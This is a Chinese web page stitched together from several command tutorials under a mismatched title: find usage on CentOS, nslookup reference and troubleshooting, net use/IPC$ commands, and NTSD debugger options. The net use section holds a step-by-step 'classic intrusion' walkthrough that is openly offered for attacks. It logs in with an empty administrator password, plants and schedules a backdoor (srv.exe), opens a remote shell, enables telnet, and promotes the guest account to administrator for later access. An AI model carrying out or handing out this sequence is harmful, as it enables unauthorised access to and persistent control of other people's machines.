61阅读

ftp命令详解-CentOS中的find命令详解

发布时间:2018-01-13 所属栏目:Centos

一 : CentOS中的find命令详解

1.在某目录下查找名为“elm.cc”的文件

find /home/lijiajia/ -name elm.cc

2.查找文件名中包含某字符(如"elm")的文件

find /home/lijiajia/ -name '*elm*'

find /home/lijiajia/ -name 'elm*'

find /home/lijiajia/ -name '*elm'

3.根据文件的特征进行查询

find /home/lijiajia/ -amin -10 

#查找在系统中最后10分钟访问的文件

find /home/lijiajia/ -atime -2 

#查找在系统中最后48小时访问的文件

find /home/lijiajia/ -empty 

#查找在系统中为空的文件或者文件夹

find /home/lijiajia/ -group cat 

#查找在系统中属于groupcat 的文件(试了,命令不对。)

find /home/lijiajia/ -mmin -5 

#查找在系统中最后5 分钟里修改过的文件

find /home/lijiajia/ -mtime -1 

#查找在系统中最后24 小时里修改过的文件

find /home/lijiajia/ -nouser 

#查找在系统中属于作废用户的文件(不明白是什么意思)

find /home/lijiajia/ -amin 10 

#查找在系统中最后10分钟访问的文件

find /home/ftp/pub -user lijiajia 

#查找在系统中属于lijiajia这个用户的文件

(PS:以上都是在 /home/lijiajia/文件夹下进行的操作)

4.使用混合查找方式查找文件

find /tmp -size +10000000c -and -mtime +2 

#查找/tmp目录中大于10000000字节并且在48小时内修改的某个文件

find /tmp -user tom -or -user george 

#查找/tmp目录中属于tom或者george这两个用户的文件

find /tmp ! -usr fred 

#查找/tmp目录中不属于fred的文件

5.查找并显示文件

find /home/lijiajia/ -name 'elm.cc' -ls 

#在目录下查找名为“elm.cc”的文件,并显示这些文件的信息

二 : Nslookup命令详解


2007-05-15 14:46:15

标签:Nslookup命令[推送到技术圈]

Nslookup显示可用来诊断域名系统 (DNS) 基础结构的信息。[www.61k.com]只有在已安装 TCP/IP 协议的情况下才可以使用 Nslookup 命令行工具。

语法
nslookup [-SubCommand ...] [{ComputerToFind| [-Server]}]

参数
-SubCommand ...
将一个或多个 nslookup 子命令指定为命令行选项。
ComputerToFind
如果未指定其它服务器,就使用当前默认 DNS 名称服务器查阅 ComputerToFind 的信息。要查找不在当前 DNS 域的计算机,请在名称上附加句点。
-Server
指定将该服务器作为 DNS 名称服务器使用。如果省略了 -Server,将使用默认的 DNS 名称服务器。
{help|?}
显示 nslookup 子命令的简短总结。
注释
如果 ComputerToFind 是 IP 地址,并且查询类型为 A 或 PTR 资源记录类型,则返回计算机的名称。如果 ComputerToFind 是一个名称,并且没有跟踪期,则向该名称添加默认 DNS 域名。此行为取决于下面 set 子命令的状态:domain、srchlist、defname 和 search。
如果键入连字符 (-) 代替 ComputerToFind,命令提示符更改为 nslookup 交互式模式。
命令行长度必须少于 256 个字符。
Nslookup 有两种模式:交互式和非交互式。
如果仅需要查找一块数据,请使用非交互式模式。对于第一个参数,键入要查找的计算机的名称或 IP 地址。对于第二个参数,键入 DNS 名称服务器的名称或 IP 地址。如果省略第二个参数,nslookup 使用默认 DNS 名称服务器。

如果需要查找多块数据,可以使用交互式模式。为第一个参数键入连字符 (-),为第二个参数键入 DNS 名称服务器的名称或 IP 地址。或者,省略两个参数,则 nslookup 使用默认 DNS 名称服务器。下面是一些有关在交互式模式下工作的提示:

要随时中断交互式命令,请按 CTRL+B。
要退出,请键入 exit。
要将内置命令当作计算机名,请在该命令前面放置转义字符 (\)。
将无法识别的命令解释为计算机名。
如果查找请求失败,nslookup 将打印错误消息。下表列出可能的错误消息。 错误消息 说明
Timed out 重试一定时间和一定次数之后,服务器没有响应请求。可以通过 set timeout 子命令设置超时期。而利用 set retry 子命令设置重试次数。
No response from server 服务器上没有运行 DNS 名称服务器。
No records 尽管计算机名有效,但是 DNS 名称服务器没有计算机当前查询类型的资源记录。查询类型使用 set querytype 命令指定。
Nonexistent domain 计算机或 DNS 域名不存在。
Connection refused
or

Network is unreachable
无法与 DNS 名称服务器或指针服务器建立连接。该错误通常发生在 ls 和 finger 请求中。
Server failure DNS 名称服务器发现在其数据库中内部不一致而无法返回有效应答。
Refused DNS 名称服务器拒绝为请求服务。
Format error DNS 名称服务器发现请求数据包的格式不正确。可能表明 nslookup 中存在错误。

范例
每个命令行选项均由连字符 (-) 后紧跟命令名组成,有时是等号 (=) 后跟一个数值。例如,要将默认的查询类型更改为主机(计算机)信息,并将初始超时更改为 10 秒,请键入:

nslookup -querytype=hinfo -timeout=10

概要
Nslookup.exe 是命令行管理工具,用于测试或解决 DNS 服务器问题。此工具是通过“控制面板”与 TCP/IP 协议一起安装的。本文包含使用 Nslookup.exe 的若干提示。

更多信息
要使用 Nslookup.exe,请注意以下方面: • TCP/IP 协议必须安装在运行 Nslookup.exe 的计算机上。
• 在 Microsoft TCP/IP 属性页的 DNS 选项卡的“DNS 服务搜索顺序”字段中必须至少指定一个 DNS 服务器。
• Nslookup 一直从当前上下文中的名称中抽去后缀。如果无法进行完全合格的名称查询(即,使用尾随点),那么查询将被附加到当前上下文中。例如,当前 DNS 设置是 att.com,并且在www.microsoft.com中执行查询,那么第一个查询将作为www.microsoft.com.att.com而失败,因为查询是不合格的。这种方式与其他供应商的 Nslookup 方式可能不一致,本文的目的在于阐明 Microsoft Windows NT Nslookup.exe 的处理方式。
• 如果已经使用 Microsoft TCP/IP 属性页 DNS 选项卡上定义的“域后缀搜索顺序”(Domain Suffix Search Order )中的搜索列表,将不会发生抽取操作。查询将被附加到列表中指定的域后缀中。要避免使用搜索列表,请始终使用“完全合格的域名称”(即,在名称中添加尾随点)。

Nslookup.exe 可以在两种模式下运行:交互式和非交互式。当需要返回单块数据时,请使用非交互式模式。非交互模式的语法如下:

nslookup [-option] [hostname] [server]

要在交互模式下启动 Nslookup.exe,只需在命令提示符下输入 nslookup:

C:\> nslookup
Default Server: nameserver1.domain.com
Address: 10.0.0.1
>

在命令提示符下输入 help 或 ? 将生成可用的命令列表。在命令提示符下输入的任何内容,如果它不是有效命令,则假设它是主机名,尝试使用默认服务器来解析它。要中断交互命令,请按 CTRL+C。要退出交互模式并返回到命令提示符下,并在命令提示符下输入 exit。

以下是帮助输出,其中包含选项的完整列表:

Commands: (identifiers are shown in uppercase, [] means optional)

NAME - print info about the host/domain NAME using default
server
NAME1 NAME2 - as above, but use NAME2 as server
help or ? - print info on common commands
set OPTION - set an option

扩展:nslookup / nslookup命令 / nslookup指定dns


all - print options, current server and host
[no]debug - print debugging information
[no]d2 - print exhaustive debugging information
[no]defname - append domain name to each query
[no]recurse - ask for recursive answer to query
[no]search - use domain search list
[no]vc - always use a virtual circuit
domain=NAME - set default domain name to NAME
srchlist=N1[/N2/.../N6] - set domain to N1 and search list to N1, N2,
and so on
root=NAME - set root server to NAME
retry=X - set number of retries to X
timeout=X - set initial time-out interval to X seconds
type=X - set query type (for example, A, ANY, CNAME, MX,
NS, PTR, SOA, SRV)
querytype=X - same as type
class=X - set query class (for example, IN (Internet), ANY)
[no]msxfr - use MS fast zone transfer
ixfrver=X - current version to use in IXFR transfer request

server NAME - set default server to NAME, using current default server
lserver NAME - set default server to NAME, using initial server
finger [USER] - finger the optional NAME at the current default host
root - set current default server to the root
ls [opt] DOMAIN [> FILE] - list addresses in DOMAIN (optional: output to
FILE)

-a - list canonical names and aliases
-d - list all records
-t TYPE - list records of the given type (for example, A, CNAME,
MX, NS, PTR, and so on)

view FILE - sort an 'ls' output file and view it with pg
exit - exit the program

通过在命令提示符下运行 set 命令,可以在 Nslookup.exe 中设置许多不同的选项。要得到这些选项的完整列表,只需输入 set all。请参见以上内容,在 set 命令下,得到可用选项的打印输出。



查找不同的数据类型


要在域名空间中查找不同的数据类型,请在命令提示符下使用 set type 或 set q[uerytype] 命令。例如,要查询邮件交换器数据,请输入:
C:\> nslookup
Default Server: ns1.domain.com
Address: 10.0.0.1

> set q=mx
> mailhost
Server: ns1.domain.com
Address: 10.0.0.1

mailhost.domain.com MX preference = 0, mail exchanger =
mailhost.domain.com
mailhost.domain.com internet address = 10.0.0.5
>

第一次查询是查找远程名称,答案是权威的,但随后的查询是非权威的。第一次查询远程主机时,本地 DNS 服务器与作为该域权威的 DNS 服务器取得联系。然后,本地 DNS 服务器缓存该信息,以便从本地服务器缓存中非权威地回答随后的查询。



直接从另一个名称服务器中进行查询


要直接查询另一个名称服务器,请使用 server 或 lserver 命令切换到该名称服务器。lserver 命令使用本地服务器得到要切换的服务器地址,而 server 命令使用当前默认服务器得到该地址。

例如:
C:\> nslookup

Default Server: nameserver1.domain.com
Address: 10.0.0.1

> server 10.0.0.2

Default Server: nameserver2.domain.com
Address: 10.0.0.2
>


使用 Nslookup.exe 转移整个区域


使用 ls 命令,Nslookup 可以用于转移整个区域。查看远程域中的所有主机,这是有用的。ls 命令的语法如下:

ls [- a | d | t type] domain [> filename]

不带参数使用 ls 命令将返回所有地址和名称服务器数据的列表。-a 参数将返回别名和正式名称,-d 将返回所有数据,而 -t 将按类型进行筛选。

例如:

>ls domain.com
[nameserver1.domain.com]
nameserver1.domain.com. NS server = ns1.domain.com
nameserver2.domain.com NS server = ns2.domain.com
nameserver1 A 10.0.0.1
nameserver2 A 10.0.0.2

>

在 DNS 服务器中可以按块转移区域,以便只有授权的地址和网络才可以执行此操作。如果设置了区域安全,将返回以下错误消息:

*** Can't list domain example.com .: Query refused


Nslookup.exe 的疑难解答



默认服务器超时


当启动 Nslookup.exe 工具时,以下错误可能出现:

*** Can't find server name for address w.x.y.z : Timed out

备注: w.x.y.z 是在“DNS 服务搜索顺序”列表中列出的第一个 DNS 服务器。


*** Can't find server name for address 127.0.0.1: Timed out

第一个错误指出不能连接 DNS 服务器,或者该计算机上的服务没有运行。要解决此问题,启动该服务器上的 DNS 服务,或检查可能存在的连接问题。

第二个错误指出在“DNS 服务搜索顺序”列表中还没有定义服务器。要解决此问题,请将有效 DNS 服务器的 IP 地址添加到此列表中。


启动 Nslookup.exe 时找不到服务器名


启动 Nslookup.exe 工具时,可能出现以下错误:


*** Can't find server name for address w.x.y.z: Non-existent domain


当没有名称服务器 IP 地址的 PTR 记录时,会出现此错误。当 Nslookup.exe 启动时,它执行反向搜索,以得到默认服务器的名称。如果没有 PTR 数据,则返回此错误消息。要解决此问题,请确保反向搜索区域存在,并包含名称服务器的 PTR 记录。

Nslookup 在子域上无法执行


当在子域上执行查询或进行区域转移时,Nslookup 可能返回以下错误:

扩展:nslookup / nslookup命令 / nslookup指定dns



*** ns.domain.com can't find child.domain.com.: Non-existent domain
*** Can't list domain child.domain.com.: Non-existent domain


在 DNS Manager 中,可以在主区域下添加一个新域,这样就创建了一个子域。用这种方法创建子域并不为该域创建一个单独的 db 文件,这样在该域进行查询或在该域进行区域转移时将会产生以上错误。在父域上进行区域转移时将同时列出父域数据和子域数据。要解决此问题,请在 DNS 服务器上为该子域创建一个新主域。



以下转自沸腾年代。
Nslookup 是一个监测网络中DNS服务器是否能正确实现域名解析的命令行工具。它在 Windows NT/2000/XP 中均可使用,但在Windows 98中却没有集成这一个工具。
Nslookup 必须要安装了TCP/IP 协议的网络环境之后才能使用。

现在网络中已经架设好了一台 DNS 服务器,主机名称为 linlin ,它可以把域名www.feitium.net解析为 192.168.0.1 的IP地址,这是我们平时用得比较多的正向解析功能。

检测步骤如下:

在 Windows 2000 中单击“开始”->“程序”->“附件”->“命令提示符”,在 C:\> 的后面键入 Nslookupwww.feitium.net,“回车”之后即可看到如下结果:
Server: linlin
Address: 192.168.0.5
Name:www.feitium.net
Address: 192.168.0.1
以上结果显示,正在工作的 DNS 服务器的主机名为 linlin ,它的 IP 地址是192.168.0.5 ,而域名www.feitium.net所对应的 IP 地址为 192.168.0.1 。那么,在检测到 DNS 服务器 linlin 已经能顺利实现正向解析的情况下,它的反向解析是否正常呢? 也就是说,能否把IP地址192.168.0.1反向解析为域名www.feitium.net?我们在命令提示符C:\>的后面键入 Nslookup 192.168.0.1 ,得到结果如下:
Server: linlin
Address: 192.168.0.5
Name:www.feitium.net
Address: 192.168.0.1
这说明,DNS 服务器 linlin 的反向解析功能也正常。

然而,有的时候,我们键入Nslookupwww.feitium.net,却出现如下结果:
Server: linlin
Address: 192.168.0.5
*** linlin can't findwww.feitium.net:Non-existent domain

这种情况说明网络中DNS服务器 linlin 在工作,却不能实现域名www.feitium.net的正确解析。此时,要分析DNS服务器的配置情况,看是否www.feitium.net这一条域名对应的 IP 地址记录已经添加到了DNS的数据库中。

还有的时候,我们键入Nslookupwww.feitium.net,会出现如下结果:
*** Can't find server name for domain: No response from server
*** Can't findwww.feitium.net: Non-existent domain
这时,说明测试主机在目前的网络中,根本没有找到可以使用的 DNS 服务器。此时,我们要对整个网络的连通性作全面的检测,并检查DNS服务器是否处于正常工作状态,采用逐步排错的方法,找出 DNS 服务不能启动的根源。

扩展:nslookup / nslookup命令 / nslookup指定dns

三 : net use命令详解

1)建立空连接:

net use \\IP\ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)

2)建立非空连接:

net use \\IP\ipc$ "密码" /user:"用户名" (同样有3个空格)

3)映射默认共享:

net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)

如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$

4)删除一个ipc$连接

net use \\IP\ipc$ /del

5)删除共享映射

net use c: /del 删除映射的c盘,其他盘类推

net use * /del 删除全部,会有提示要求按y确认

3 查看远程主机的共享资源(但看不到默认共享)

net view \\IP

4 查看本地主机的共享资源(可以看到本地的默认共享)

net share

5 得到远程主机的用户名列表

nbtstat -A IP

6 得到本地主机的用户列表

net user

7 查看远程主机的当前时间

net time \\IP

8 显示本地主机当前服务

net start

9 启动/关闭本地服务

net start 服务名 /y

net stop 服务名 /y

10 映射远程共享:

net use z: \\IP\baby

此命令将共享名为baby的共享资源映射到z盘

11 删除共享映射

net use c: /del 删除映射的c盘,其他盘类推

net use * /del /y删除全部

12 向远程主机复制文件

copy \路径\srv.exe \\IP\共享目录名,如:

copy ccbirds.exe \\*.*.*.*\c 即将当前目录下的文件复制到对方c盘内

13 远程添加计划任务

at \\ip 时间 程序名,如:

at \\127.0.0.0 11:00 love.exe

注意:时间尽量使用24小时制;在系统默认搜索路径(比如system32/)下不用加路径,否则必须加全路径

14 开启远程主机的telnet

这里要用到一个小程序:opentelnet.exe,各大下载站点都有,而且还需要满足四个要求:

1)目标开启了ipc$共享

2)你要拥有管理员密码和帐号

3)目标开启RemoteRegistry服务,用户就该ntlm认证

4)对WIN2K/XP有效,NT未经测试

命令格式:OpenTelnet.exe \\server account psw NTLM认证方式 port

试例如下:c:\>OpenTelnet.exe \\*.*.*.* administrator "" 1 90

15 激活用户/加入管理员组

1 net uesr account /active:yes

2 net localgroup administrators account /add

16 关闭远程主机的telnet

同样需要一个小程序:ResumeTelnet.exe

命令格式:ResumeTelnet.exe \\server account psw

试例如下:c:\>ResumeTelnet.exe \\*.*.*.* administrator ""

17 删除一个已建立的ipc$连接

net use \\IP\ipc$ /del

九 经典入侵模式

这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)

1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"

这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。

复制之前务必用net view \\IP这个命令看一下对方的共享情况

2. C:\>copy srv.exe \\127.0.0.1\admin$

先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。

3. C:\>net time \\127.0.0.1

查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。

4. C:\>at \\127.0.0.1 11:05 srv.exe

用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)

5. C:\>net time \\127.0.0.1

再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。

6. C:\>telnet 127.0.0.1 99

这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。

虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了

7.C:\>copy ntlm.exe \\127.0.0.1\admin$

用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。

8. C:\WINNT\system32>ntlm

输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!

9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)

为了以防万一,我们再把guest激活加到管理组

10. C:\>net user guest /active:yes

将对方的Guest用户激活

11. C:\>net user guest 1234

将Guest的密码改为1234,或者你要设定的密码

12. C:\>net localgroup administrators guest /add

将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)

另外,你也可以根据返回的错误号分析原因:

错误号5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限;

错误号51,Windows无法找到网络路径:网络有问题;

错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);

错误号67,找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$;

错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连;

错误号1326,未知的用户名或错误密码:原因很明显了;

错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动;

错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码

在使用这种方法屏蔽网络映射功能时,只需要先打开系统的运行对话框,并在其中执行“cmd”字符串命令,将系统界面切换到MS-DOS命令行状态;接着在DOS提示符下执行“net use x:/del”字符串命令,就能将网络磁盘分区为“X”的网络映射连接断开了,要想快速地将本地计算机中所有的网络映射连接断开的话,只需要执行“net use * /del”字符串命令就可以了。

四 : NTSD命令详解

NTSD命令详解

Process File: ntsd.exe

Process Name: Symbolic Debugger for Windows

Description: ntsd.exe is a process belonging to the Microsoft symbolic debugger that enables you to debug user-mode applications. This program is non-essential process to the running of the system, but should not be terminated unless suspected to be causing problems. Recommendation: Should not be disabled, required for essential applications to work properly.

Author: Microsoft

Part of: Microsoft Windows Operating

文件细节

文件道路: C:\WINDOWS\system32 \ ntsd.exe

文件日期: 2002-08-29 14:00:00

版本: 5.1.2600.0

文件大小: 31.744 字节

检查和和文件hashes

CRC32: 6D35F411

MD5: 8F0A 81E2 3718 E1C9 A4FD 5615 2CAE B88C

SHA1: 60B8 B14E 2D9E A685 4A08 AF82 880C 4116 CE1D C10D

版本资源信息

公司名称: Microsoft Corporation

文件描述: Symbolic Debugger for Windows 2000

文件操作系统: Windows NT, Windows 2000, Windows XP, Windows 2003

文件类型: Application

文件版本: 5.1.2600.0

内部名: NTSD.Exe

法律版权: ? Microsoft Corporation. All rights reserved.

原始的文件名: NTSD.Exe

产品名称: Microsoft? Windows? Operating System

产品版本: 5.1.2600.0

--------------------------------------------------------------------------------

1. ntsd -c q -p PID

2. ntsd -c q -pn ImageName 比如:ntsd -c q -pn qq.exe

- c是表示执行debug命令

q表示执行结束后退出(quit)

-p 表示后面紧跟着是你要结束的进程对应的PID

-pn 表示后面紧跟着是你要结束的进程名(process_name.exe 比如:QQ.exe,explorer.exe 等等,值得注意的是后缀名.exe是不可省略的,否则系统会告诉你“不支持此接口”)

只有System、SMSS.EXE和CSRSS.EXE不能杀。前两个是纯内核态的,最后那个是Win32子系统,ntsd本身需要它。ntsd从2000开始就是系统自带的用户态调试工具。被调试器附着(attach)的进程会随调试器一起退出,所以可以用来在命令行下终止进程。使用ntsd自动就获得了debug权限,从而能杀掉大部分的进程。

-------------------------------------------------------------------------------- 使用NTSD远程调试程序:

NTSD 调试程序在启动时要求用户指定一个要连接的进程。使用 TLIST 或 PVIEWER,您可以获得某个现有进程的进程 ID,然后键入 NTSD -p pid 来调试这个进程。NTSD 命令行使用如下的句法: NTSD [options] imagefile

其中,imagefile 是要调试的映像名称,options 是下面选项之一:

表 1. NTSD 映像文件选项

选项 说明

-2 打开一个用于调试字符模式的应用程序的新窗口

-d 将输出重定向到调试终端

-g 使执行自动通过第一个断点

-G 使 NTSD 在子程序终止时立即退出

o 启用多个进程的调试,默认值为由调试程序衍生的一个进程

-p 指定调试由进程 ID 标识的进程

-v 产生详细的输出

例如,假设 inetinfo.exe 的进程 ID 为 104。键入以下命令将 NTSD 调试程序连接到 inetinfo 进程 (IIS)。

NTSD -p 104

也可使用 NTSD 启动一个新进程来进行调试。例如,NTSD notepad.exe 将启动一个新的 notepad.exe 进程,并与它建立连接。

一旦连接到某个进程,您就可以用各种命令来查看堆栈、设置断点、转储内存,等等。

表 2. 常用命令

命令 含义

~ 显示所有线程的一个列表

KB 显示当前线程的堆栈轨迹

~*KB 显示所有线程的堆栈轨迹

R 显示当前帧的寄存器输出

U 反汇编代码并显示过程名和偏移量

D[type][<range>] 转储内存

BP[#] <address> 设置断点

BC[<bp>] 清除一个或多个断点

BD[<bp>] 禁用一个或多个断点

BE[<bp>] 启用一个或多个断点

BL[<bp>] 列出一个或多个断点

关于远程调试的更多信息,请参考下述文章: 如何启用远程安装服务器的“调试”模式,请参考下述文章:

http://support.microsoft.com/kb/236033/zh-cn

--------------------------------------------------------------------------------

NTSD用法:

usage: ntsd [-?] [-2] [-d] [-g] [-G] [-myob] [-lines] [-n] [-o] [-s] [-v] [-w]

[-r BreakErrorLevel] [-t PrintErrorLevel]

[-hd] [-pd] [-pe] [-pt #] [-pv] [-x | -x{e|d|n|i} <event>]

[-- | -p pid | -pn name | command-line | -z CrashDmpFile]

[-zp CrashPageFile] [-premote transport] [-robp]

[-aDllName] [-c "command"] [-i ImagePath] [-y SymbolsPath]

[-clines #] [-srcpath SourcePath] [-QR \\machine] [-wake <pid>]

[-remote transport:server=name,portid] [-server transport:portid]

[-ses] [-sfce] [-sicv] [-snul] [-noio] [-failinc] [-noshell]

where: -? displays this help text

command-line is the command to run under the debugger

-- is the same as -G -g -o -p -1 -d -pd

-aDllName sets the default extension DLL

-c executes the following debugger command

-clines number of lines of output history retrieved by a remote client -failinc causes incomplete symbol and module loads to fail

-d sends all debugger output to kernel debugger via DbgPrint

-d cannot be used with debugger remoting

-d can only be used when the kernel debugger is enabled

-g ignores initial breakpoint in debuggee

-G ignores final breakpoint at process termination

-hd specifies that the debug heap should not be used

for created processes. This only works on Windows Whistler. -o debugs all processes launched by debuggee

-p pid specifies the decimal process Id to attach to

-pd specifies that the debugger should automatically detach

-pe specifies that any attach should be to an existing debug port -pn name specifies the name of the process to attach to

-pt # specifies the interrupt timeout

-pv specifies that any attach should be noninvasive

-r specifies the (0-3) error level to break on (SeeSetErrorLevel) -robp allows breakpoints to be set in read-only memory

-t specifies the (0-3) error level to display (SeeSetErrorLevel) -w specifies to debug 16 bit applications in a separate VDM

-x sets second-chance break on AV exceptions

-x{e|d|n|i} <event> sets the break status for the specified event -2 creates a separate console window for debuggee

-i ImagePath specifies the location of the executables that generated the fault (see _NT_EXECUTABLE_IMAGE_PATH)

-lines requests that line number information be used if present -myob ignores version mismatches in DBGHELP.DLL

-n enables verbose output from symbol handler

-noio disables all I/O for dedicated remoting servers

-noshell disables the .shell (!!) command

-QR <\\machine> queries for remote servers

-s disables lazy symbol loading

-ses enables strict symbol loading

-sfce fails critical errors encountered during file searching

-sicv ignores the CV record when symbol loading

-snul disables automatic symbol loading for unqualified names

-srcpath <SourcePath> specifies the source search path

-v enables verbose output from debugger

-wake <pid> wakes up a sleeping debugger and exits

-y <SymbolsPath> specifies the symbol search path (see _NT_SYMBOL_PATH) -z <CrashDmpFile> specifies the name of a crash dump file to debug -zp <CrashPageFile> specifies the name of a page.dmp file

to use with a crash dump

-remote lets you connect to a debugger session started with -server must be the first argument if present

transport: tcp | npipe | ssl | spipe | 1394 | com

name: machine name on which the debug server was created portid: id of the port the debugger server was created on for tcp use: port=<socket port #>

for npipe use: pipe=<name of pipe>

for 1394 use: channel=<channel #>

for com use: port=<COM port>,baud=<baud rate>,

channel=<channel #>

for ssl and spipe see the documentation

example: ... -remote npipe:server=yourmachine,pipe=foobar -server creates a debugger session other people can connect to must be the first argument if present

transport: tcp | npipe | ssl | spipe | 1394 | com

portid: id of the port remote users can connect to

for tcp use: port=<socket port #>

for npipe use: pipe=<name of pipe>

for 1394 use: channel=<channel #>

for com use: port=<COM port>,baud=<baud rate>,

channel=<channel #>

for ssl and spipe see the documentation

example: ... -server npipe:pipe=foobar

-premote transport specifies the process server to connect to

transport arguments are given as with remoting

Environment Variables:

_NT_SYMBOL_PATH=[Drive:][Path]

Specify symbol image path.

_NT_ALT_SYMBOL_PATH=[Drive:][Path]

Specify an alternate symbol image path.

_NT_DEBUGGER_EXTENSION_PATH=[Drive:][Path]

Specify a path which should be searched first for extensions dlls

_NT_EXECUTABLE_IMAGE_PATH=[Drive:][Path]

Specify executable image path.

_NT_SOURCE_PATH=[Drive:][Path]

Specify source file path.

_NT_DEBUG_LOG_FILE_OPEN=filename

If specified, all output will be written to this file from offset 0.

_NT_DEBUG_LOG_FILE_APPEND=filename

If specified, all output will be APPENDed to this file.

_NT_DEBUG_HISTORY_SIZE=size

Specifies the size of a server's output history in kilobytes

Control Keys:

<Ctrl-B><Enter> Quit debugger

<Ctrl-C> Break into Target

<Ctrl-F><Enter> Force a break into debuggee (same as Ctrl-C)

<Ctrl-P><Enter> Debug Current debugger

<Ctrl-V><Enter> Toggle Verbose mode

<Ctrl-W><Enter> Print version information

ntsd: exiting - press enter ---

本文标题:ftp命令详解-CentOS中的find命令详解
本文地址: http://www.61k.com/1124014.html

61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1